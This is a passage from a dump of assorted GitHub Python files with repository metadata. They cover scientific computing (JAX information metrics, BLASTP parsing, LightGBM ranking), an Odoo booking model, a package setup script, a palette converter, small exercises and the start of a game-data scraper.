else:\n thread = Thread.objects.create(user=request.user, reciever=reciever)\n return redirect('message-thread', pk=thread.pk)\n","repo_name":"thkirby/Group10","sub_path":"feed/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"39620785239","text":"import itertools\nfrom math import comb\nimport itertools\nfrom functools import partial\nimport logging\n\nfrom tqdm import tqdm\n\nimport numpy as np\n\nimport jax\nimport jax.numpy as jnp\nfrom jax_tqdm import scan_tqdm\n\nfrom hoi.metrics.base_hoi import HOIEstimator\n\nlogger = logging.getLogger(\"hoi\")\n\n\n###############################################################################\n###############################################################################\n# ENTROPY\n###############################################################################\n###############################################################################\n\n@partial(jax.jit, static_argnums=(2,))\ndef compute_entropies(x, idx, entropy=None):\n \"\"\"Compute entropy for a specific multiplet.\n\n This function has to be wrapped with the entropy function.\n \"\"\"\n return x, entropy(x[:, idx, :])\n\n\n###############################################################################\n###############################################################################\n# MUTUAL INFORMATION\n###############################################################################\n###############################################################################\n\n\n@jax.jit\ndef find_indices(inputs, c):\n combs, keep = inputs\n\n keep = jnp.add(keep, (combs == c).any(1).astype(int))\n\n return (combs, keep), None\n\n\n@jax.jit\ndef compute_mi(inputs, iterators):\n combs, h, order = inputs\n _, comb = iterators\n\n # scanning over indices\n # is_inside = jnp.zeros((combs.shape[0],), dtype=int)\n # (_, is_inside), _ = jax.lax.scan(find_indices, (combs, is_inside), comb)\n\n # tensor implementation\n is_inside = (combs == comb[jnp.newaxis, ...]).any(1).sum(1)\n\n\n return inputs, jnp.sum(h, where=(is_inside == order).reshape(-1, 1))\n\n\n\nclass InfoTopo(HOIEstimator):\n\n \"\"\"Dynamic, possibly task-related Topological Information.\"\"\"\n\n def __init__(self):\n HOIEstimator.__init__(self)\n\n def fit(self, data, y=None, maxsize=None, method='gcmi',\n **kwargs):\n \"\"\"Compute Topological Information.\n\n Parameters\n ----------\n data : array_like\n Standard NumPy arrays of shape (n_samples, n_features) or\n (n_samples, n_features, n_variables)\n y : array_like\n The feature of shape (n_trials,) for estimating task-related O-info.\n maxsize : int | None\n Maximum size of the multiplets\n method : {'gcmi', 'binning', 'knn'}\n Name of the method to compute entropy. Use either :\n\n * 'gcmi': gaussian copula entropy [default]\n * 'binning': binning-based estimator of entropy. Note that to\n use this estimator, the data have be to discretized\n * 'knn': k-nearest neighbor estimator\n kwargs : dict | {}\n Additional arguments are sent to each entropy function\n\n Returns\n -------\n oinfo : array_like\n The O-info array of shape (n_multiplets, n_variables) where positive\n values reflect redundant dominated interactions and negative values\n stand for synergistic dominated interactions.\n \"\"\"\n # ______________________________ INPUTS _______________________________\n\n # data checking\n data = self._prepare_data(data)\n\n # check multiplets\n self._prepare_multiplets(1, maxsize, y=y)\n\n # check entropy function\n data, entropy = self._prepare_for_entropy(data, method, y=y, **kwargs)\n\n logger.info(\n f\"Compute the info topo (min={self.minsize}; max={self.maxsize})\"\n )\n\n # ____________________________ ENTROPIES ______________________________\n\n # get the function to compute entropy and vmap it one for 3D inputs\n get_ent = jax.jit(partial(\n compute_entropies, entropy=jax.vmap(entropy)\n ))\n\n logger.info(\" Compute entropies\")\n\n # compute infotopo\n h_x, h_idx, order = [], [], []\n for msize in self:\n # combinations of features\n combs = self.get_combinations(msize)\n\n # compute all of the entropies at that order\n _, _h_x = jax.lax.scan(get_ent, data, combs)\n\n # appen -1 to the combinations\n combs = jnp.concatenate(\n (combs, jnp.full((combs.shape[0], self.maxsize - msize), -1)),\n axis=1\n )\n\n # store entopies and indices associated to entropies\n h_x.append(_h_x)\n h_idx.append(combs)\n order.append([msize] * _h_x.shape[0])\n\n h_x = jnp.concatenate(h_x, axis=0)\n h_idx = jnp.concatenate(h_idx, axis=0)\n order = jnp.asarray(np.concatenate(order, axis=0))\n n_mult = h_x.shape[0]\n\n # ________________________ MUTUAL-INFORMATION _________________________\n\n # compute order and multiply entropies\n h_x_sgn = jnp.multiply(((-1.) ** (order.reshape(-1, 1) - 1)), h_x)\n h_idx_2 = jnp.where(h_idx == -1, -2, h_idx)\n\n logger.info(\" Compute mutual information\")\n\n pbar = scan_tqdm(n_mult, message='Mutual information')\n\n _, hoi = jax.lax.scan(\n pbar(compute_mi), (h_idx[..., jnp.newaxis], h_x_sgn, order),\n (jnp.arange(n_mult), h_idx_2)\n )\n\n # self._h = np.asarray(h_x)\n # self._h_idx = np.asarray(h_idx)\n\n return np.asarray(hoi)\n\n # @property\n # def entropies(self):\n # \"\"\"Computed entropies.\"\"\"\n # return np.concatenate([np.asarray(k) for k in self._h], axis=0)\n\n # @property\n # def entropies_indices(self):\n # \"\"\"Get multiplets associated to entropies.\"\"\"\n # mult = []\n # for c in self._h_idx:\n # mult += np.asarray(c).tolist()\n # return mult\n\n\n\nif __name__ == '__main__':\n from math import comb as ccomb\n import matplotlib.pyplot as plt\n from frites import set_mpl_style\n import seaborn as sns\n from hoi.utils import landscape, digitize\n from matplotlib.colors import LogNorm\n\n set_mpl_style()\n\n ###########################################################################\n method = 'binning'\n ###########################################################################\n\n\n x = np.load('/home/etienne/Downloads/data_200_trials', allow_pickle=True)\n\n logger.setLevel('INFO')\n model = InfoTopo()\n x = digitize(x, 9, axis=0)\n hoi = model.fit(\n x[..., 100], maxsize=None, method=method\n )\n\n lscp = landscape(hoi.squeeze(), model.order, output='xarray')\n lscp.plot(x='order', y='bins', cmap='jet', norm=LogNorm())\n plt.axvline(model.undersampling, linestyle='--', color='k')\n plt.title(method, fontsize=24, fontweight='bold')\n plt.show()\n","repo_name":"Dishie2498/deploy_prac","sub_path":"hoi/metrics/infotopo.py","file_name":"infotopo.py","file_ext":"py","file_size_in_byte":6851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"75101253924","text":"import os\nimport base64\nimport betamax\n\napi_key = os.environ.get('SPEEDCURVE_API', 'foo')\nbasic_auth = b':'.join([api_key, 'x'])\n\nwith betamax.Betamax.configure() as config:\n config.cassette_library_dir = 'tests/cassettes'\n config.default_cassette_options['record_mode'] = 'once'\n config.define_cassette_placeholder(\n '',\n base64.b64encode(basic_auth).decode()\n )\n","repo_name":"itsmemattchung/speedcurve.py","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"25680169771","text":"from file import *\nfrom prettytable import PrettyTable\n\ndb_tables = get_meta_tables()\ndb_columns = get_meta_columns()\n\ndb_tables.print_table(db_tables.findall())\ndb_columns.print_table(db_columns.findall())\n\nspecs = (('rowid', 'INT', 1, False, True), \n ('name', 'TEXT', 2, False, False))\ndb_bobby = create_dbfile('bobby', specs)\n\ndb_tables.print_table(db_tables.findall())\ndb_columns.print_table(db_columns.findall())\n\n","repo_name":"theKidOfArcrania/CS6360-database","sub_path":"10-test-meta.py","file_name":"10-test-meta.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"13781877265","text":"import sys\n\n# script to parse blastp results\n# Usage: python parse_blastp.py blastp_out_Homo_sapiens.GRCh38.txt > blastp_out_Homo_sapiens.GRCh38.txt.parsed.txt\n\n# bp_in=(blastp_out_Homo_sapiens.GRCh38.txt blastp_out_Mus_musculus.GRCm39.txt blastp_out_Drosophila_melanogaster.BDGP6.32.txt blastp_out_Caenorhabditis_elegans.WBcel235.txt)\n# for i in ${bp_in[@]}; do python parse_blastp.py $i > $i.parsed.tsv; done\n\ndef remove_p(query_id):\n query_id = query_id.split(\".\")\n return \".\".join(query_id[:-1])\n\nfile_in = sys.argv[1]\n\noutput = \"\"\n\nwith open(file_in, \"r\") as f:\n for line in f:\n line = line.split(\"\\t\")\n output += remove_p(line[0]) + \"\\t\" + line[1] + \"\\n\"\n\nprint(output)","repo_name":"kataksk/functional_annotation","sub_path":"03parse_blastp.py","file_name":"03parse_blastp.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74508928163","text":"n = int(input())\nT = []\nP = []\nD = [0]*(n+1)\n\nfor _ in range(n):\n a,b = map(int,input().split())\n T.append(a)\n P.append(b)\n\nfor i in range(n):\n for j in range(T[i]+i,n+1):\n if D[j] < D[i]+P[i]:\n D[j] = D[i] + P[i]\n\n\nprint(max(D))","repo_name":"young0264/hellopycharm","sub_path":"백준/14501_퇴사.py","file_name":"14501_퇴사.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"14322763715","text":"import json\nimport os\nfrom abc import ABC\nfrom io import BytesIO\nfrom typing import IO, List, Type\nfrom zipfile import ZipFile\n\nfrom dacite import from_dict\nfrom dataclasses import asdict, dataclass\nfrom django.conf import settings\nfrom django.db.models import Model\n\nfrom api.data.models import BasePrivateFile\n\n\nclass ExportApi(ABC):\n\n item_class: Type[dataclass]\n\n model_class: Type[Model]\n\n separator: str = '\\n'\n\n def dump(self) -> IO[bytes]:\n items = self.get_items()\n return BytesIO(self.separator.join(items).encode())\n\n def load(self, file: IO[bytes]):\n items = file.read().decode().split(self.separator)\n self.save_items(items)\n\n def get_items(self) -> List[str]:\n instances = self.get_queryset()\n items = [self.item_class.from_db(instance) for instance in instances]\n return [json.dumps(asdict(item)) for item in items]\n\n def save_items(self, items: List[str]):\n items = [from_dict(self.item_class, json.loads(item)) for item in items]\n for item in items:\n instance = item.to_db()\n instance.save()\n\n def get_queryset(self):\n return self.model_class.objects.all()\n\n\nclass FileExportApi(ABC):\n\n model_class: Type[BasePrivateFile]\n\n def dump(self) -> IO[bytes]:\n fh = BytesIO()\n files = self.model_class.objects.all()\n with ZipFile(fh, 'w') as outfile:\n for file in files:\n filename = file.filename\n outfile.write(os.path.join(settings.PRIVATE_STORAGE_ROOT, filename), filename)\n fh.seek(0)\n return fh\n\n def load(self, file: IO[bytes]):\n with ZipFile(file, 'r') as infile:\n names = infile.namelist()\n for name in names:\n fh = infile.read(name)\n pfile = self.model_class()\n pfile.save_file(BytesIO(fh), name)\n","repo_name":"bboogaard/todos","sub_path":"services/export/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"20586399125","text":"from functools import partial\n\nimport numpy as np\nimport pandas as pd\nfrom fire import Fire\nfrom pandas.api.types import CategoricalDtype\nfrom lightgbm.sklearn import LGBMClassifier, LGBMRanker\n\nfrom raiff.utils import train_validation_holdout_split\nfrom raiff.utils import distance\n\ndef order_by_dist(group):\n group = group.copy()\n group = group.sort_values('dist')\n group['rank'] = list(range(len(group)))\n return group['rank']\n\ndef as_ranking_task(df, feature_columns, rank_column, group_column):\n sorted_df = df.sort_values(group_column)\n return sorted_df[feature_columns], sorted_df[rank_column], sorted_df.groupby(group_column).size().values\n\ndef fit_pipeline(train_df):\n mcc_categories = train_df.mcc.astype('category').cat.categories\n mcc_dtype = CategoricalDtype(categories=mcc_categories)\n city_categories = train_df.city.astype('category').cat.categories\n city_dtype = CategoricalDtype(categories=city_categories)\n terminal_id_categories = train_df.terminal_id.astype('category').cat.categories\n terminal_dtype = CategoricalDtype(categories=terminal_id_categories)\n\n def transform(df):\n df = df.copy()\n df['mcc'] = df['mcc'].astype(mcc_dtype).cat.codes.astype('category')\n df['city'] = df['city'].astype(city_dtype).cat.codes.astype('category')\n df['terminal_id'] = df['terminal_id'].astype(terminal_dtype).cat.codes.astype('category')\n df['day'] = pd.to_datetime(df.transaction_date).dt.day.astype('category')\n df['month'] = pd.to_datetime(df.transaction_date).dt.month.astype('category')\n df['day_of_week'] = pd.to_datetime(df.transaction_date).dt.dayofweek.astype('category')\n\n df['dist'] = distance(df[['transaction_lat', 'transaction_lon']].values, df[['work_add_lat', 'work_add_lon']])\n df['rank'] = df.groupby('customer_id').apply(order_by_dist).reset_index(drop=True, level=0)\n return df\n\n return transform\n\ndef rank_transactions(model, feature_columns, transactions):\n transactions = transactions.copy()\n transactions['score'] = model.predict(transactions[feature_columns])\n return transactions['score']\n\ndef fit():\n # 1. Common preprocessing\n train = pd.read_csv('./data/train_set.csv')\n train['transaction_lat'] = train['atm_address_lat'].fillna(train['pos_address_lat'])\n train['transaction_lon'] = train['atm_address_lon'].fillna(train['pos_address_lon'])\n train['transaction_address'] = train['atm_address'].fillna(train['pos_address'])\n train = train.drop([\n 'atm_address_lat', 'pos_address_lat',\n 'atm_address_lon', 'pos_address_lon',\n 'atm_address', 'pos_address'\n ], axis=1)\n\n # 2. Some generic filtering, orig len is 1,224,734\n train = train[train['country'].isin(['RUS', 'RU '])] # drops 4,000 samples\n train = train[train['currency'] == 643.0] # drops 7,143 samples\n train = train[~train.transaction_lat.isnull()] # drops 97,000 samples\n train = train.drop([\n 'country', 'currency'\n ], axis=1)\n\n # 3. Task specific filtering\n train = train[~train.work_add_lat.isnull()] # drops 512,269 samples\n\n # 4. Train, validation, holdout split\n train, validation, _ = train_validation_holdout_split(train)\n transform = fit_pipeline(train)\n\n train = transform(train)\n validation = transform(validation)\n\n feature_columns = ['amount', 'mcc', 'terminal_id', 'day_of_week']\n\n train_x, train_y, train_groups = as_ranking_task(\n train,\n feature_columns=feature_columns,\n rank_column='rank',\n group_column='customer_id'\n )\n\n model = LGBMRanker(\n categorical_feature=train_x.select_dtypes(include='category').columns.values,\n label_gain=list(range(2000)))\n\n model.fit(train_x, train_y, group=train_groups)\n validation['score'] = validation.groupby('customer_id').apply(partial(rank_transactions, model, feature_columns)).reset_index(drop=True, level=0)\n validation['is_close'] = (validation['dist'] <= 0.02).astype(int)\n predictions = validation.groupby('customer_id').apply(lambda group: group.sort_values('score', ascending=True).head(1))\n score = predictions['is_close'].mean()\n print(score)\n\n import pdb; pdb.set_trace()\n\nif __name__ == '__main__':\n Fire(fit)\n","repo_name":"marvelousNinja/raiff-data-cup","sub_path":"raiff/fit_ranker.py","file_name":"fit_ranker.py","file_ext":"py","file_size_in_byte":4265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"18389532528","text":"from odoo import models, fields, api\nfrom datetime import datetime\n\nclass Buffet(models.Model):\n _name = \"buffet.book\"\n\n book_type = fields.Selection(\n string=\"Book Type\",\n selection=[('guest', 'Guest'), ('member', 'Member')],\n default='guest'\n )\n member_id = fields.Many2one(string=\"Member\", comodel_name='res.partner', ondelete='set null')\n name = fields.Char(string=\"Full Name\")\n phone_number = fields.Char(string=\"Phone Number\")\n date = fields.Date(string='Date', default=fields.Date.context_today)\n slot_time = fields.Selection(\n string=u'Slot Time',\n selection=[('1', '19:30 - 21:30'), ('2', '21:31 - 23:30')],\n default='1'\n )\n price = fields.Integer(string=\"Price\", compute=\"_get_price\") \n state = fields.Selection([\n ('payment', 'Payment'),\n ('finished', 'Finished'),\n ], default='payment')\n\n debug = fields.Text(readonly=True)\n \n @api.onchange('member_id')\n def _get_name(self):\n for r in self.env['res.partner'].search([]):\n if (r.id == self.member_id.id): \n self.name = r.name\n break\n\n @api.onchange('member_id')\n def _get_phone(self):\n for r in self.env['res.partner'].search([]):\n if (r.id == self.member_id.id): \n self.phone_number = r.mobile\n break\n\n @api.onchange('date')\n @api.depends('date')\n def _get_price(self):\n setting = self.env[\"court.price\"].search([])\n\n weekno = int(datetime.strptime(self.date, \"%Y-%m-%d\").weekday())\n setting = self.env[\"court.price\"].search([])\n\n if weekno >= 0 and weekno <= 1:\n self.price = setting.buffet_mon_tues\n elif weekno >= 4 and weekno <= 6:\n self.price = setting.buffet_fri_sat_sun\n else:\n return {\n 'warning': {\n 'title': \"Error\",\n 'message': \"Date is not available for football buffet\",\n },\n }\n\n @api.one\n def make_invoice(self):\n self.debug = \"Action occurs!!\"\n\n if self.book_type == \"member\": \n self.member_id.reserve_buffet += 1\n\n @api.one\n def done_progressbar(self):\n self.state = \"payment\"","repo_name":"gapgag55/Court-Football-reservation","sub_path":"models/buffet.py","file_name":"buffet.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"1873093935","text":"from setuptools import setup, find_packages, Extension\nimport versioneer\nfrom Cython.Build import cythonize\nfrom torch.utils import cpp_extension\nfrom pybind11.setup_helpers import Pybind11Extension, build_ext\nimport numpy as np\nimport os\nimport sys\nimport pybind11\n\nNAME = \"RNAdist\"\nDESCRIPTION = \"Package for Calculating Expected Distances on the \" \\\n \"ensemble of RNA structures\"\n\nwith open(\"README.md\") as handle:\n LONGDESC = handle.read()\n\n\nextra_link_args = []\ninclude_dir = []\nprefix = os.getenv(\"CONDA_PREFIX\")\nif prefix is None:\n print(\"No conda environment found. Falling back to default installation path of ViennaRNA.\\n\"\n \"Consider using a conda environment instead\")\n prefix = \"/usr/local\"\n\n_include = os.path.join(prefix, \"include\")\n_lib = os.path.join(prefix, \"lib\")\nextra_link_args += [f\"-L{_lib}\", f\"-I{_include}\"]\ninclude_dir += [_include] + [np.get_include()]\nsvi = sys.version_info\npython_l = f\"python{svi[0]}.{svi[1]}\"\n\nif not os.path.exists(os.path.join(prefix, \"lib\", \"libRNA.a\")):\n raise FileNotFoundError(\"Not able to find ViennaRNA RNAlib installation. This version of RNAdist requires ViennaRNA \"\n \"to be installed. You can easily install it using Conda:\\n\"\n \"conda install -c bioconda viennarna\"\n )\nif not os.path.exists(os.path.join(prefix, \"lib\", python_l, \"site-packages\", \"RNA\")):\n raise ImportError(\"Not able to find ViennaRNA python package in your current environment.\"\n \"Please install it e.g. via Conda\\n\"\n \"conda install -c bioconda viennarna\"\n)\n\nsampling_extension = Pybind11Extension(\n \"RNAdist.sampling.cpp.sampling\",\n sources=[\n \"RNAdist/sampling/cpp/edsampling.cpp\",\n \"RNAdist/sampling/cpp/RNAGraph.cpp\",\n \"RNAdist/sampling/cpp/pyedsampling.cpp\"\n ],\n extra_link_args=[f\"-I{pybind11.get_include()}\"] + extra_link_args + [\"-lRNA\", \"-lpthread\", \"-lstdc++\", \"-fopenmp\", \"-lm\", f\"-l{python_l}\",\n \"-Wl,--no-undefined\"],\n include_dirs=[_include, pybind11.get_include()],\n language=\"c++\"\n)\n\ncp_exp_dist_extension = Extension(\n \"CPExpectedDistance.c_expected_distance\",\n sources=[\"CPExpectedDistance/CPExpectedDistance/c_expected_distance.c\"],\n extra_link_args=extra_link_args + [\"-lRNA\", \"-lpthread\", \"-lstdc++\", \"-fopenmp\", \"-lm\", f\"-l{python_l}\", \"-Wl,--no-undefined\"],\n include_dirs=include_dir,\n language=\"c\"\n)\n\n\nclass CustomBuildExtension(cpp_extension.BuildExtension):\n\n def __init__(self, *args, **kwargs):\n # This has to stay until I rewrite the Clote-Ponty Extension or find out how to force ninja not to use\n # a c++ compiler for that extension\n kwargs[\"use_ninja\"] = False\n super().__init__(*args, **kwargs)\n\n\n\ncmds = versioneer.get_cmdclass()\ncmds[\"build_ext\"] = CustomBuildExtension\nsetup(\n name=NAME,\n version=versioneer.get_version(),\n cmdclass=cmds,\n author=\"domonik\",\n author_email=\"dominik.rabsch@gmail.com\",\n packages=find_packages() + find_packages(\"CPExpectedDistance\"),\n package_dir={\"RNAdist\": \"./RNAdist\", \"CPExpectedDistance\": \"CPExpectedDistance/CPExpectedDistance\"},\n license=\"LICENSE\",\n url=\"https://github.com/domonik/RNAdist\",\n description=DESCRIPTION,\n long_description=LONGDESC,\n long_description_content_type=\"text/markdown\",\n include_package_data=True,\n package_data={\n \"RNAdist.visualize\": [\"assets/*\"],\n \"RNAdist\": [\"tests/*.py\", \"tests/test_data/*\"],\n \"RNAdist.dp\": [\"tests/*.py\", \"tests/test_data/*\"],\n \"RNAdist.nn\": [\"tests/*.py\", \"tests/test_data/*.fa\", \"tests/test_data/*.pt\", \"tests/test_data/expected*/*\"],\n \"RNAdist.sampling\": [\"tests/*.py\", \"tests/test_data\"],\n },\n install_requires=[\n \"torch\",\n \"torchvision\",\n \"torchaudio\",\n \"networkx\",\n \"biopython\",\n \"pandas\",\n \"smac>=1.4\",\n \"plotly\",\n \"dash>=2.5\",\n \"dash_bootstrap_components\",\n ],\n setup_requires=[\"pytest-runner\"],\n tests_require=[\"pytest\"],\n ext_modules=[\n cpp_extension.CppExtension(\n name=\"RNAdist.nn.nn_helpers\",\n sources=[\"RNAdist/nn/nn_helpers.cpp\"],\n include_dirs=cpp_extension.include_paths(),\n extra_link_args=[\"-Wl,--no-undefined\", f\"-l{python_l}\"],\n language=\"c++\"\n ),\n ] + cythonize(\"RNAdist/dp/_dp_calculations.pyx\") + [sampling_extension, cp_exp_dist_extension],\n include_dirs=np.get_include(),\n scripts=[\n \"RNAdist/executables.py\",\n \"versioneer.py\"\n ],\n entry_points={\n \"console_scripts\": [\n \"DISTAtteNCionE = RNAdist.distattencione_executables:main\",\n \"RNAdist = RNAdist.executables:main\"\n ]\n },\n)","repo_name":"domonik/RNAdist","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":4871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"43093534979","text":"tipo_conta = int(input(\"Digite (1) para Conta Normal\\nDigite (2) para Conta Universitária\\nDigite (3) para Conta Especial\\nInsira o tipo de conta: \"))\n\nif tipo_conta == 1:\n \n conta_normal = True\n conta_universitaria = False\n conta_especial = False\n\nelif tipo_conta == 2:\n \n conta_universitaria = True\n conta_especial = False\n conta_normal = False\n\nelif tipo_conta == 3:\n\n conta_especial = True\n conta_normal = False\n conta_universitaria = False\n\nelse:\n \n print(\"O sistema não identificou o seu tipo de conta. Por favor entre em contato com o seu gerente.\")\n\n#conta_normal = True\n#conta_universitaria = False\n#conta_especial = False\n\nvalor_saque = int(input(\"Digite o valor que deseja sacar: \"))\nsaque = valor_saque\n\nsaldo = 2000\nchaque_especial = 450\n \nif conta_normal:\n \n if saque <= saldo:\n imprime_saque = str(saque)\n print(\"Saque no valor de R$ \" +imprime_saque+\" realizado com sucesso.\")\n \n elif saque <= (saldo + chaque_especial):\n print(\"Saque realizado com o uso do cheque especial.\")\n \n else:\n print(\"Você não tem saldo suficiente.\")\n\nelif conta_universitaria:\n\n if saque <= saldo:\n print(\"Saque reaalizado com sucesso.\")\n\n else:\n print(\"Você não tem saldo suficiente.\")\n\nelif conta_especial:\n print(\"Conta Especial Selecionada.\")\n\nelse:\n print(\"O sistema não identificou o seu tipo de conta. Por favor entre em contato com o seu gerente.\")\n","repo_name":"brusodev/curso-python-dio","sub_path":"00_fundamentos/estrutura_condicional_aninhada.py","file_name":"estrutura_condicional_aninhada.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37882986061","text":"#Property Decoretor- Getter, Setter and Deleter . \n\nclass Employee:\n\n def __init__(self, first, last):\n self.first = first\n self.last = last\n\n @property \n def email(self):\n return '{}.{}@compay.com'.format(self.first, self.last)\n\n @property\n def full_name(self):\n return '{} {}'.format(self.first, self.last)\n\n # setter decoretor to update the existing attribute. Method name sould be same\n @full_name.setter\n def full_name(self, name):\n first, last = name.split(' ')\n self.first = first\n self.last = last\n\n @full_name.deleter\n def full_name(self):\n print(\"Name Deleted !\")\n self.first = None\n self.last = None\n\n\nemp1 = Employee('John', 'Smith')\nprint(emp1.first)\n\nprint(\"after using setter\")\nemp1.full_name = 'Nimesh Nagar' #using setter to update\nprint(emp1.first)\nprint(emp1.email) # defined as method in class, but can access it like an attriute\nprint(emp1.full_name)\n\ndel emp1.full_name\n\n\n\n","repo_name":"Nimesh-Nagar/iot","sub_path":"2.programming_technology/Python_Programming/Practice/oops/p9_getter_setter.py","file_name":"p9_getter_setter.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"12408790974","text":"import argparse, re, os\n\n\ndef parse_gpl(filename):\n \"loads a gimp palette file and returns an array of colour entries\"\n palette = []\n comment_re = r\"\\s*#.*$\"\n entry_re = r\"\\s*(\\d+)\\s*(\\d+)\\s*(\\d+)\\s*(\\S+)?\\s?$\"\n\n with open(filename, \"rt\") as infile:\n lines = infile.readlines()\n if lines[0].strip() != 'GIMP Palette':\n raise Exception(f'{filename} doesn\\'t seem to be in GIMP Palette format')\n \n for rawline in lines[1:]:\n line = re.sub(comment_re, '', rawline, 0, re.MULTILINE).strip()\n if line == '':\n continue\n\n m = re.match(entry_re, line)\n if not m:\n raise Exception(f'{rawline} seems invalid')\n \n entry = dict(r=int(m[1]), g=int(m[2]), b=int(m[3]), desc=m[4])\n palette.append(entry)\n\n return palette\n\n\ndef get_default_symname(gplfile):\n basename = os.path.basename(gplfile)\n symname = basename.replace('.gpl', '').replace(r\"[^a-zA-Z0-9]\", '_') \n return symname.upper()\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='loads a GIMP Palette (.gpl) file and emits a gba-compatible palette as .h & .c files')\n parser.add_argument('gplfile')\n parser.add_argument('-o', '--outfilestem', help='the output will be written to OUTFILESTEM.c and OUTFILESTEM.h')\n parser.add_argument('-s', '--symbol', help='the stem of the c symbol names; defaults to sanitised gplfile name')\n\n return parser.parse_args()\n\ndef clamp(v, lo, hi):\n if v <= lo:\n return lo\n if v >= hi:\n return hi\n return v\n\ndef entry_to_hex(entry):\n r = clamp(entry['r'] >> 3, 0, 31)\n g = clamp(entry['g'] >> 3, 0, 31)\n b = clamp(entry['b'] >> 3, 0, 31)\n u16 = r | (g << 5) | (b << 10)\n return '%#04x' % u16\n\n\ndef write_pal_header(palette, outfilename, symbolstem, infilename):\n\n lines = []\n lines.append(f'// GBA palette exported from {infilename}')\n lines.append(f'//\\n')\n lines.append('#pragma once\\n')\n\n lines.append(f'extern const unsigned short {symbolstem}_paldata[];')\n lines.append(f'static const unsigned short {symbolstem}_palcount = {len(palette)};')\n\n lines.append('\\n\\n')\n\n with open(outfilename, 'wt') as f:\n f.write('\\n'.join(lines))\n\ndef write_pal_c(palette, outfilename, symbolstem, infilename):\n\n lines = []\n lines.append(f'// GBA palette exported from {infilename}')\n lines.append(f'//\\n')\n\n lines.append(f'const unsigned short {symbolstem}_paldata[] = ')\n lines.append('{')\n for entry in palette:\n lines.append(f'\\t{entry_to_hex(entry)},\\t// {entry[\"desc\"]}')\n lines.append('};\\n\\n')\n\n with open(outfilename, 'wt') as f:\n f.write('\\n'.join(lines))\n\n\ndef main():\n args = parse_args()\n\n palette = parse_gpl(args.gplfile)\n\n symname = args.symbol if args.symbol else get_default_symname(args.gplfile)\n outfilename = args.outfilestem if args.outfilestem else args.gplfile\n outfilestem = os.path.splitext(outfilename)[0]\n\n write_pal_header(palette, outfilestem+'.h', symname, args.gplfile)\n write_pal_c(palette, outfilestem+'.c', symname, args.gplfile)\n\n\n\nif __name__ == '__main__':\n main()","repo_name":"TheRealMolen/foolguy","sub_path":"tools/gpl2c.py","file_name":"gpl2c.py","file_ext":"py","file_size_in_byte":3204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"35677651433","text":"\"\"\"This module contains all the implementation for the 'scraper'\nfunction in the 'ark' library, with both JSON parsing and Gamepress\nimplementation implemented.\"\"\"\n\nimport argparse\nimport sys\n\nfrom halo import Halo # extremely important\nfrom bs4 import BeautifulSoup\n\nfrom operatorclasses.operator import Operator\n\nfrom inputfuncs.input_reader import (\n read_lines_into_dict,\n read_line_from_file\n)\nfrom inputfuncs.scraper_functions import (\n scrape_for_operator,\n scrape_json\n)\nfrom scraperfuncs.global_parser_functions import parse_stats\n\n# Import the needed search functions for Gamepress\nfrom scraperfuncs.gamepress_search_functions import (\n find_talents,\n find_base_skills,\n create_stats_json,\n find_siblings_of_breakpoint,\n find_skills\n)\n\n# Import the needed search functions for Aceship's JSON\nfrom scraperfuncs.json_parser_functions import (\n filter_description,\n create_stats_dict,\n parse_talents,\n parse_skills,\n parse_base_skills\n)\n\n\n### FUNCTIONS ########################\n\n\ndef get_operator_dict(operator):\n \"\"\"Searches the Aceship character JSON for a specified operator,\n and returns the associated character dict and the character key\n in the JSON if found.\n\n If the operator was not found, return an empty dict and None\n for the key, indicating that the scraper should try using\n Gamepress instead of the JSON, as the character is not\n in the JSON yet.\n \"\"\"\n # Since the JSON I first use to find info uses\n # properly formatted names, I have to convert any name\n # to a properly formatted one\n\n # TODO: Does this break DRY? This appears in gamepress too\n replacement_names = read_lines_into_dict(\n \"./info/scraper/jsonOperatorReplacements.txt\"\n )\n\n formatted_name = operator.replace(\"-\", \" \").title()\n proper_name = (\n formatted_name\n if formatted_name not in replacement_names.keys()\n else replacement_names[formatted_name]\n )\n\n # with open(\"character_table.json\", \"r\", encoding=\"utf8\") as f:\n # operator_raw_json = json.load(f) # debug\n operator_raw_json = scrape_json(read_line_from_file(\n \"./info/scraper/operatorJsonUrl.txt\"\n ))\n if operator_raw_json is None:\n return {}, None\n\n operator_dict = {}\n operator_key = None\n operator_json = operator_raw_json.json()\n # operator_json = operator_raw_json #debug\n for operator in operator_json.keys():\n # So that names like \"SilverAsh\" don't screw up the parser,\n # we take the key and convert it to the title form (Silverash)\n if operator_json[operator][\"name\"].title() == proper_name:\n operator_key = operator\n operator_dict = operator_json[operator]\n break\n\n return operator_dict, operator_key\n\n\ndef parse_operator_data(\n args,\n operator_dict,\n operator_key,\n operator\n):\n \"\"\" Depending on whether operator_dict is empty or not, get\n operator information from either Gamepress or the JSON 